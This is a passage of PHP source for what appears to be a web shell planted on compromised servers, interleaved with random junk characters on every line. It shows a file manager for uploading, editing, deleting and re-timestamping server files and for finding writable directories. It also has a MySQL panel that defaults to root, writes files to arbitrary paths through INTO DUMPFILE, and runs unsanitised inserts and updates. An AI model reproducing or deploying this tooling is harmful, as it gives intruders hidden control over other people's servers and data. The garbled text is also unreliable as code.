) y9 |0 y3 G1 n) V% _- X. M - makehide('newperm');5 X$ y1 f9 Z% ~$ R
- makehide('pfile');7 p: N$ K- ]' S- [
- makehide('dir',$nowpath);
, ?' {$ {/ G% B. I% t2 h: [ - formfoot();
, ?8 U& [1 u9 |( a* | - formhead(array('name'=>'copyfile'));% G. ?! b [1 K0 ~
- makehide('sname');
& A' G) s5 K+ Q% _# q - makehide('tofile');9 E: {- O, h. t: a
- makehide('dir',$nowpath);
+ E4 e, L# ?5 \/ C0 Z, Y0 j5 G - formfoot();! O' k- t4 J/ w/ w0 e3 D3 f/ g
- formhead(array('name'=>'rename'));
" y* M# }: n M6 S+ u - makehide('oldname');# j: O; x6 C4 q% K5 r" e, \) W+ ^
- makehide('newfilename');3 e$ H* d8 p4 C' N6 e
- makehide('dir',$nowpath);
& f' ^, d* [- {$ [# F: ` - formfoot();) p4 {4 ^, V; `; c. H$ J
- formhead(array('name'=>'fileopform'));
; g5 l& y9 F8 Q6 l* d T; ^- b7 c - makehide('action');
5 L2 i4 z+ B3 Q9 E5 z: h - makehide('opfile');. m4 l2 z2 }( R0 L/ e, R
- makehide('dir');# Q# F t2 x) q& }! w2 f
- formfoot();
/ }" e4 r' c# U+ h - Q) O( m/ Z! `' V! t
- $free = @disk_free_space($nowpath);
2 g& }3 q; t9 I' p - !$free && $free = 0;4 D9 j" F! z" L6 H# l% H$ V
- $all = @disk_total_space($nowpath);2 t! P; x7 P. C
- !$all && $all = 0;
; g! S4 R# E* f* a$ S* x0 U) H - $used = $all-$free;8 I5 L H; b3 O5 d3 N/ ?
- $used_percent = @round(100/($all/$free),2);
r9 x8 w0 A0 A5 U7 |" d* ? - p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');5 X& G+ ?. \0 J" {) g( Q
- * G Y+ m" A2 c1 j$ ]& p- o. Q
- ?>
- s: t8 B- v. c! D0 X5 } - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
) M6 h+ U; Q' \ U9 | - <form action="" method="post" id="godir" name="godir">
$ A/ Q8 k6 r2 J - <tr>
. p0 U+ l0 Y: _& I - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
- f2 e) _1 l- g" b/ p, W0 J4 F% l, a) \ - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
9 l. S. S) u" A0 c% }/ S& T" q Q2 i: B - <td nowrap><input class="bt" value="GO" type="submit"></td>
$ ]4 s, D7 f; y @2 F6 O- V - </tr>
' w* I7 ^& {# i - </form>' c# \, v4 ~; |2 N7 l# n' f/ z
- </table>
+ C- @$ g& f8 i5 C$ W* m - <script type="text/javascript">
4 u0 [1 ~5 K' M# C, g9 Y! p. U - function createdir(){
: f5 ^; r8 r3 o2 B4 f - var newdirname;
$ X; Y1 y; g+ s - newdirname = prompt('Please input the directory name:', '');
: p0 m4 f% J- `$ {8 F - if (!newdirname) return;
, z+ Q2 r% d- A& B3 a! O - $('createdir').newdirname.value=newdirname;
2 N5 {1 V% C- M4 ?- u - $('createdir').submit();. |( n# e: u) @9 j
- }( X' S' I) H0 [$ V9 T9 A% O1 d
- function fileperm(pfile){
* }2 D/ ^2 c3 g5 F! j$ m9 I' h - var newperm;! U* |( B* `8 e$ ?, q8 }+ U r
- newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');( r& Q" e+ z6 r; C" @0 D6 U! q
- if (!newperm) return;& i) I* s: L& N9 o$ H% X" V( I6 s
- $('fileperm').newperm.value=newperm;* D7 r- S+ Q8 P- @& H
- $('fileperm').pfile.value=pfile;$ X" W6 V/ l: K
- $('fileperm').submit();5 S r5 o0 `7 o& F1 q% Z
- }
1 l' h" I9 E! O- B' c - function copyfile(sname){- r( k0 z9 y; z+ z, o+ o& }
- var tofile;
! s L6 H& g) d& R1 @' z* v. L* _ - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');! D3 a* j/ U, A' Y, X) e6 U
- if (!tofile) return;( A" Z# X0 Q l$ z# q- `2 Z! Z
- $('copyfile').tofile.value=tofile;
/ \4 L3 z I9 J" _5 }; W1 B, v3 t - $('copyfile').sname.value=sname;
% {( c# d: ]0 A* b- [2 Z - $('copyfile').submit();
4 V; `& B8 {5 R - }
" Z: g$ ^: [# a8 h - function rename(oldname){
: z8 A. s: ~" O - var newfilename;
# t; b6 t$ D2 y, ~+ [ - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');$ A$ h' {$ H% _# M& |$ G q% h
- if (!newfilename) return;
5 o: p+ p7 b2 t1 E ?) O& G$ Q9 O - $('rename').newfilename.value=newfilename;
9 ?/ [# n1 r8 ^3 I' ~ - $('rename').oldname.value=oldname;
+ n0 z4 @! A7 u1 b9 k% N* r - $('rename').submit();
' A( g' v# V7 `8 s! F Q; u - }
' n6 S- v$ q2 @- _- O: I o6 _' | - function dofile(doing,thefile,m){
1 D9 w M9 e4 m: W! i$ k - if (m && !confirm(m)) {0 b! \! c z- x% Y
- return;( R0 r7 v& k7 j' |7 j9 J
- }
3 F' t! P0 @9 C' _ - $('filelist').doing.value=doing;
7 T' T' [( K, O* ? - if (thefile){
& E Q9 Z1 U& t3 Y* J4 H - $('filelist').thefile.value=thefile;
- _; H4 f d2 K - }7 c1 W0 h1 P; z+ U+ p
- $('filelist').submit();" ~1 N# s2 r; j- J/ p
- }
9 Z1 r% a/ b0 ]/ s0 d - function createfile(nowpath){. }6 ~- h3 u# D5 W9 \
- var filename;
8 k# W# E2 j9 v' a - filename = prompt('Please input the file name:', '');8 g A. `* b4 X( ^
- if (!filename) return;( x8 D) d: Q5 A4 t
- opfile('editfile',nowpath + filename,nowpath);- ~+ _2 P! W" V0 `" U
- }
6 }- T& |/ T) D) D/ G9 i - function opfile(action,opfile,dir){
+ l2 w& W' n9 d* v$ }6 c3 t6 n - $('fileopform').action.value=action;
2 N9 f9 L, d& _: H [6 w. ` - $('fileopform').opfile.value=opfile;
o j) T1 m. K* X7 W - $('fileopform').dir.value=dir;
- y6 b/ r! i4 C+ X$ ^$ N3 ^ - $('fileopform').submit();5 ^* m' p# g1 ?) W* p8 J( m
- }
) p5 F3 I( C# h: v! d9 d. m - function godir(dir,view_writable){
5 w5 p+ U+ P; q+ q* l) j7 @ j - if (view_writable) {# @8 D" x# w* w9 K0 y
- $('godir').view_writable.value=1;
$ d3 E& a h% V s - }
1 l/ ~1 V" V" ]7 a w: _4 z' ~3 @ - $('godir').dir.value=dir;0 k2 R5 n5 h7 d! _ j a& t
- $('godir').submit();% v! `0 q9 F8 Z4 K( X
- }
5 H6 R9 K3 ]8 w q0 B - </script>% O/ Z6 H+ e q% Q; {) o0 |
- <?php
8 b8 V1 _8 \4 _$ Z" V - tbhead();
8 d6 B/ h5 d# k; C/ V+ N - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
9 x0 l& `$ ]& r* z' b: B - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');2 }5 D2 U* `8 N+ Z, @" R
- p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
+ K. j# I; P# \, i2 l/ | - if ($view_writable) {
9 p9 z! ^8 ]3 G) t9 ?' I1 N! r, N - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');! D8 @: M5 S) p
- } else {7 Z2 H2 v, d/ n$ K: h/ H
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
# ~$ q# I( d" V$ k/ ]- x - }
. Q2 H/ ^3 o- c. Y7 p& I t% r% G - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
* j+ ^# G* W$ H) I8 t, o1 s - if (IS_WIN && IS_COM) {# ?/ @( m( R4 R' u$ V9 k
- $obj = new COM('scripting.filesystemobject');( X" W2 J9 m! [4 w
- if ($obj && is_object($obj)) { l0 p. D5 k: Q2 z; ~) o. M8 t" f
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');- k9 F1 K0 ]& \
- foreach($obj->Drives as $drive) {
3 N3 Z/ |. q/ e! r& e8 o& Z" L' N- e3 j - if ($drive->DriveType == 2) {$ W! V* g) ?0 @$ m- n( }
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
8 V9 C3 |5 {9 U: x( Z0 @* M$ x- J - Free:'.sizecount($drive->FreeSpace).'
) n) s. r# h8 J' r9 Y - Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
' t& @( q9 j, Z Z% s- X - } else {
. M) H" l: G: m1 M" @ - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
' p% d& n# K2 X8 l2 S - }
$ E7 ?8 C$ m: F. O - }: d& c" N4 C3 K1 }( h
- }' o! o) n& E: m3 M
- }
' P3 Q6 m. {* m" x -
. ]% T3 q( P* @' Z8 T' W! n - p('</td></tr></form>');
5 a; V. a$ _; _- Y# y* v - i3 M. U2 n4 a* }% S& Q
- p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
3 i6 E$ D+ P; n) s: B - ) |/ P% Y7 l: u) ^* V
- //查看所有可写文件和目录
4 p! r% K$ p; t - $dirdata=array();$ P2 I. Z2 ~9 F4 P2 t2 O; }
- $filedata=array();5 Q9 {4 | d: p
- # H7 i" v* l }. p w( M0 S
- if ($view_writable) {( q/ }) o/ R# L3 o. U) Z2 R7 F' m
- $dirdata = GetList($nowpath);
- _% U& F4 s# ]6 o3 d - } else {
5 o6 O, W1 B/ ~2 y8 V - // 目录列表
; }& k9 ~4 G' Y! c! Q# o - $dirs=@opendir($dir);' q; U9 z! K3 \ t6 a
- while ($file=@readdir($dirs)) {- C# n9 d* d5 v! b; ~
- $filepath=$nowpath.$file;
4 s# s9 w5 w6 ^3 _6 v( V( V - if(@is_dir($filepath)){
" a- ^8 f5 I& K3 i# n. L: P( r - $dirdb['filename']=$file;/ T0 `. {. e' ?! a- w( |
- $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));+ _, j; j, ~% i: n3 ?/ j
- $dirdb['dirchmod']=getChmod($filepath);
( [9 Y8 _- r! H) m' `' B* Z - $dirdb['dirperm']=getPerms($filepath);
$ F9 b! q: n- y$ \6 O3 l - $dirdb['fileowner']=getUser($filepath);1 p+ q, K0 @6 i: S% ?
- $dirdb['dirlink']=$nowpath;' I3 n+ m9 ?& l* u( r$ y
- $dirdb['server_link']=$filepath;7 {9 f. G. h9 U/ P
- $dirdb['client_link']=ue($filepath); N8 T5 V: R% Y4 ~! H& J$ a
- $dirdata[]=$dirdb;5 t; F! [1 n# K
- } else {
9 V' ~0 X: X- r# Z1 g5 \ - $filedb['filename']=$file;4 Y5 ~" W5 }7 ^6 l0 W4 Q% r
- $filedb['size']=sizecount(@filesize($filepath));' `5 A* P0 a3 n1 ?
- $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
& o; [, t* L9 n) t1 S; m2 b - $filedb['filechmod']=getChmod($filepath);
2 w/ i: f U$ \( f& W4 u - $filedb['fileperm']=getPerms($filepath);
( {. L6 \7 c# u W$ l1 ]5 n' \ - $filedb['fileowner']=getUser($filepath);5 L R2 u/ k( r! o/ X
- $filedb['dirlink']=$nowpath;
7 \* @( x& F6 \" d4 s) f - $filedb['server_link']=$filepath;
5 T9 T( c) q. [* N - $filedb['client_link']=ue($filepath);
5 C7 ^% @3 i9 _; d/ r - $filedata[]=$filedb;
' Q& l: X; E! E* h' h2 p! @' C6 W - }. {" W e) P( ], t# q, J3 Q$ L @" s
- }// while
" Y# s9 n, S& m* J. r* e& A0 p - unset($dirdb);. [, h9 ^! `" {- N$ W1 P
- unset($filedb);' Z) J, E) q8 p$ a! c c) k u
- @closedir($dirs); E4 M1 a4 v# G" U# Z e. i6 ~$ W2 b. P
- }% [: B* ^: _- ^& a6 A7 @( s
- @sort($dirdata);' N# q2 B4 E! {1 b
- @sort($filedata);
7 ]$ x( w4 f, [; i; A2 l - $dir_i = '0';
4 D2 n. G0 X8 |/ R! j! Y# x6 s - foreach($dirdata as $key => $dirdb){
. A4 o/ N' `0 s+ z+ Z - if($dirdb['filename']!='..' && $dirdb['filename']!='.') {1 N! K G: i" Z9 x4 a
- $thisbg = bg();8 g: x- b. m6 q7 y' k0 f L
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
9 \' f# C7 l* B% b - p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');/ C% |+ v: C7 Y1 k n
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
& Y& s% X3 n% Y) o - p('<td nowrap>'.$dirdb['mtime'].'</td>');! {! |( f, B- @: J5 a
- p('<td nowrap>--</td>');
& R+ w1 o$ y$ P' [3 ]3 w9 o. i - p('<td nowrap>');
c( J# R5 T3 n9 w7 Z - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
. O7 ~% B5 ^) p$ ]4 Q$ t - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');& D9 P8 Z8 N r% b$ ~" l
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
: b: l0 O. j( n6 y. ~ - p('</tr>');( R! S. y" J1 i9 t
- $dir_i++;
8 N3 h% G2 `4 g, R8 O( c1 W - } else {
2 j. \+ i9 `8 f' f - if($dirdb['filename']=='..') {
! G* V" A4 L2 }, T$ j1 M2 h - p('<tr class='.bg().'>');
1 Q/ C" a& G8 g! {; Z& r R - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
- m* o& L$ G" e4 X, z - p('</tr>');1 g ~ j( ?% ]6 E
- }
5 D" v; x: F0 T6 U* J - }
4 }1 Z0 ^7 \- b: n9 v9 l9 q. u: Q - }
# f) l( d: m* D( a3 O8 v -
; H' C( K4 ?/ L - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
7 M P! |2 u$ t+ k6 K# z - p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');+ v' p I/ k4 h5 {
- makehide('action','file');
t* }% a0 t! m - makehide('thefile');
5 l# l& F( y" _" H% ] - makehide('doing');8 K+ v8 c, W3 h' i
- makehide('dir',$nowpath);: b) s% u1 e) S% b- _2 N6 x
- $file_i = '0';* {5 I+ F3 x! \( a
- foreach($filedata as $key => $filedb){! r; }5 r! w+ u; x
- if($filedb['filename']!='..' && $filedb['filename']!='.') {" W5 R5 ]0 o2 `! e4 l' K
- $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);7 p) r3 z( {( J
- $thisbg = bg();0 F1 V$ Y2 K O
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
4 P& X, a i+ g1 n) u - p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
- a2 f* C( ]% p: S - p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');% g- T- F$ d o( n3 Q9 _! |/ d
- p('<td nowrap>'.$filedb['mtime'].'</td>');
* V% Q0 b7 a$ ?" C. x: A+ x - p('<td nowrap>'.$filedb['size'].'</td>');! U; j' g$ v& X6 @0 r; w+ ?
- p('<td nowrap>');
# Q( r- E9 _9 L# r$ u, N) S8 O - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
, M& q5 W" \. x$ Z( Q" ` - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');4 C: Y: p) f' b9 d7 a5 I: g
- p('<td nowrap>');
' [& r6 D3 Q, d0 X - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');$ e, V4 P( i! n0 Q- c1 q5 P; _7 a" b
- p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');+ r0 M# x2 N- G e. V
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
& N3 m- ~' j3 T7 n - p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');' B1 u) w+ {. Q5 |9 Y
- p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');4 t$ T' Q. G% p
- p('</td></tr>'); t+ ~. u% i' [
- $file_i++;
+ F2 z7 T2 D. \ - }( S1 [1 w. X5 N4 j v% h
- }. a4 K" A0 {2 t' P% X
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');- o/ j' a6 k ~" J
- p('</form></table>');
5 x7 _* g; S. k* E, }) h4 g# X% p - }// end dir6 O) }7 j G$ Q$ _+ ]
-
5 ^8 P, d \- y- [+ s - elseif ($action == 'sqlfile') {
9 K$ H, U. Q& X. W+ Z - if($doing=="mysqlupload"){& T+ q( _* F# r" ~: u
- $file = $_FILES['uploadfile'];9 {# \ y7 w0 u8 t3 |
- $filename = $file['tmp_name'];
. Z& T% w8 F% Z; u6 L - if (file_exists($savepath)) {
: P5 z8 M& T7 \$ U: `: b, t - m('The goal file has already existed');
+ |" P9 ]- F3 }% g" w1 L3 ]- d - } else {
! @7 _1 d* w* c7 r - if(!$filename) {
9 Q& V9 R5 p: N2 G0 Z8 P9 w - m('Please choose a file');
4 |- o& j8 n. P1 ?5 X - } else {
" d& v. U r3 } - $fp=@fopen($filename,'r');1 J, f! g6 y9 K. s( R
- $contents=@fread($fp, filesize($filename));5 a' L8 N2 k+ `7 n2 E
- @fclose($fp);% I' |& Q; _. `. ?4 O! z
- $contents = bin2hex($contents);
. Y$ T5 R0 Y( A( R - if(!$upname) $upname = $file['name'];
+ m, |- W: W% ]: X& w& U" b- g+ G. h - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);0 B( ]5 o" G! {# D
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
' Z. }6 |$ b% j/ V - m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());! k; ]7 W! H, e! \2 V
- }
: a/ v* L4 r1 i D - }5 G) e! H( o9 Q2 i* C" q4 F7 y/ s# @
- }
4 V! y) @8 s+ q/ U, `$ U; q e - ?>/ S+ o- e; i5 m |$ b& c
- <script type="text/javascript">) o9 K# X5 _3 l, B) \) r
- function mysqlfile(doing){
) A- V M$ E# Q" S - if(!doing) return;& I3 |' C$ t* \5 U8 z" b( m
- $('doing').value=doing;
4 Y& ^ J! L: y! o+ y - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
' d7 i: |0 u0 C9 \# A3 } - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
* Z4 S3 j) K K6 [" K! w: A - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;/ o* J' }; p% b2 x0 X3 l$ ~$ b
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;! M! S6 |8 T- j. k- H
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;1 d7 i* B" Z) s' P7 y. Y) x
- $('mysqlfile').charset.value=$('dbinfo').charset.value;
6 n2 e- v y f% v; R5 A - $('mysqlfile').submit();$ r/ `. X2 [0 C! c0 q
- }! s" P( O" J* l& `$ `6 a) s
- </script>
3 }8 A; L( M5 a. O: A - <?php
" R, B2 i% \' L0 S- v. y- N6 c& l - !$dbhost && $dbhost = 'localhost';
3 f! c% V' x& {, i9 m - !$dbuser && $dbuser = 'root';) A! t4 ?& u& K; ?" f
- !$dbport && $dbport = '3306';" J, B6 ~" W0 i( A
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');* M6 B' r e3 r' K- g2 K3 C2 z
- formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));% ~/ A* l' B- i* |, B# r h& R
- makehide('action','sqlfile');
: b* H1 p) C: G3 P - p('<p>');
# j* C+ S" @. |1 i: } - p('DBHost:');
, t; N7 _: P/ I& _0 O9 l - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));- w* Y! A) @! o$ i# W
- p(':');
$ H/ n# h6 ]1 `5 h, G6 H/ Z+ q4 ? - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); A! p* X1 d8 I1 f. [) V
- p('DBUser:'); |% e) I' A* A7 a; ?/ Q
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
5 L* V2 B; y1 C* b% z - p('DBPass:');) K4 ?4 ^6 Z! V# ~3 H: H; c( f
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
8 k# C2 m! ~' T3 B, d - p('DBName:');7 Z% C( M3 r4 z; z! d
- makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
/ [( D( @ ^. ]7 P" \" Y: s - p('DBCharset:');
: r1 _/ @$ K) q0 V) S# S7 _( T' ~" G. a - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));1 t" b5 o# Z+ m) I7 r
- p('</p>');' Y" H, D% ~7 s4 z! ]' H) [, r
- formfoot();
2 o" e* n! J: s& W: I. t- ^ - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');/ b: A; y& u/ T: p. Y
- p('<h2>Upload file</h2>');
; z' z1 z# L' J3 @ - p('<p><b>This operation the DB user must has FILE privilege</b></p>');$ R: Q' l; Q* }' w2 F. i1 @+ Y' B
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
& L/ I7 g S+ B- Q5 e - p('<h2>Download file</h2>');
$ u7 y7 w3 F+ s5 Z, _- Q7 s% h1 f, _+ b - p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');- y$ t8 G, S3 ]9 r
- makehide('dbhost');2 ]+ R! } @0 Q6 D
- makehide('dbport');
/ a0 ~# [& T( P* z3 @ - makehide('dbuser');
4 J' A; @. B& ?' i5 f b - makehide('dbpass');
6 u: Q2 P* T @' H2 N5 n A9 ^ - makehide('dbname');2 h6 O0 K9 X( P" l2 Z
- makehide('charset');
2 `( j$ L( l+ c9 [) F' }" q, j% B3 M - makehide('doing');; D @: t! Z$ @$ v* c
- makehide('action','sqlfile');, P6 K2 V/ M5 |% p
- p('</form>');, C0 h0 s' l! ^4 \: h5 o2 j$ ~, J
- }
' I" o* X# G1 ` -
9 @) t# {9 ?& x& Q. r; M1 \$ G - elseif ($action == 'sqladmin') {
9 R4 [+ o6 H8 `: q% F4 z7 o+ H- p - !$dbhost && $dbhost = 'localhost';$ I2 t8 g% v$ Q7 j, k7 D# p
- !$dbuser && $dbuser = 'root';. u( e8 B4 s0 C2 j/ J4 b
- !$dbport && $dbport = '3306';1 O+ a+ f X6 Z6 x* o* [
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';9 k' n& p; g0 k, g# `8 m& d$ p
- if(isset($dbhost)){
2 ^4 B5 y: _9 H - $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";) P; a ?+ c) v
- }1 s& _2 f$ C, _" u
- if(isset($dbuser)) {
6 U. p- y' G" x0 B+ m7 y( Q) X - $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";# \' j" U, Y9 y& W, i
- }
4 V; J6 }- R+ w# q3 a* U - if(isset($dbpass)) {+ ]9 H6 @8 N$ Q8 e" i4 H
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";- E* r) z+ M* I3 s/ @3 ], G2 u3 S
- }
B) R! q( K# q6 U( }6 k- u4 F - if(isset($dbport)) {% Z5 F6 j) G- m. l0 j/ T
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
0 z/ S8 q4 G2 U/ ?/ X - }
5 w) e6 e$ ~" P$ w - if(isset($dbname)) {. b* m$ E& f' \9 E% ^. F
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
, ]4 u8 `" y% o; N - }# N: @. [% O) r- }; b7 t
- if(isset($charset)) {
' N! S5 F* [& h1 m - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
3 ]( w0 ~1 J3 t/ d - }
8 J3 A6 o3 W# v - 9 H% @- K; A3 ~$ p; c! d# N
- if ($doing == 'backupmysql' && $saveasfile) {
6 f% i, x a) y5 H5 A0 r; F6 E$ v2 e - if (!$table) {
3 Z+ R% v2 x, |0 c4 L3 H - m('Please choose the table');, @9 t; Z4 h% E/ h" J x" e1 }
- } else {9 G; ]0 Q% }( [: s" p
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
, W0 W) Z8 W0 h) `+ e - $table = array_flip($table);) ~ x8 f9 J" h+ J! v W% u) b# Y/ |
- $fp = @fopen($path,'w');
& U$ G4 [# f2 M- R) \! s - if ($fp) {: Y1 Z9 E) o) Q8 K) N
- $result = q('SHOW tables');
5 ]3 o$ a. i$ v9 M - if (!$result) p('<h2>'.mysql_error().'</h2>');1 T2 _9 J$ D' a: l
- $mysqldata = '';9 j0 Y) B: \6 E4 M9 C8 k
- while ($currow = mysql_fetch_array($result)) {5 a1 X' D4 h5 \0 w+ y
- if (isset($table[$currow[0]])) {
3 G1 G7 X; D8 e/ Q - sqldumptable($currow[0], $fp);: \& C0 u& V9 W# R* ^+ f
- }
Z. L0 W G9 {9 a- R' V, y - }/ {) Y q8 k# Y8 a8 g) o
- fclose($fp);- W, W5 S* v0 j' B H5 c( m; u. B
- $fileurl = str_replace(SA_ROOT,'',$path);
3 @( ?% Z5 k# Q - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');- v- e8 i2 A1 _' R+ r1 [6 o$ _$ O
- mysql_close();
3 r) J: h3 |: t9 b4 }# F - } else {
- n7 a }! J( P1 d2 S: y - m('Backup failed');! A4 \0 S! Q, G% C# }
- }
/ q ]1 K1 F W$ V5 J' g - }
' A, t9 w; i' ^6 R! f& s$ f3 o1 B - }
( z' J. l! z& g' _ - if ($insert && $insertsql) {$ `: f4 C3 d$ i$ t8 f, |
- $keystr = $valstr = $tmp = '';6 c( v8 K6 N; g1 x8 ~8 K2 y% F
- foreach($insertsql as $key => $val) {% `; s0 C2 F- H" G
- if ($val) {% i6 S' R- H' @% H0 n
- $keystr .= $tmp.$key;
& H/ P1 R3 P# p5 X% j1 r0 Z - $valstr .= $tmp."'".addslashes($val)."'";
5 O5 l7 y1 Y" p) b I& N) L - $tmp = ',';
2 L6 y0 D. U" i& |+ D - }
N$ f- F8 M% N" K( s3 l' M7 D% M - }9 ~4 a) a$ z7 }$ N: P
- if ($keystr && $valstr) {" h6 S$ I, Y2 F" v2 v
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); s* r) o5 G% p0 N! ~: w* E5 E' I
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
% G" Q- D( a/ j! G' } - }7 B4 M' Z2 d3 T/ K4 R
- }
& [+ Q! o% a3 @" P C' d - if ($update && $insertsql && $base64) {
. @; U8 Q) Q# H - $valstr = $tmp = '';/ U) e/ Y7 M7 P9 M2 g
- foreach($insertsql as $key => $val) {
. z _ k5 j: F u/ G - $valstr .= $tmp.$key."='".addslashes($val)."'";
$ H5 N8 ~4 ~0 h% o+ ~1 P - $tmp = ',';
+ \/ I4 N8 w. h7 s' {! e1 c - }
0 a3 k4 r& v4 H0 _' d- P6 f - if ($valstr) {5 P$ M# G- x' m9 N6 Z
- $where = base64_decode($base64); M- Z( t* d( s9 H8 R5 G
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);5 p% ~* e1 U0 r/ r# s; Q8 \/ u
- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());) A) W- k, c- d$ _6 g
- } D6 p) m3 Q/ R3 ^6 y. T
- }
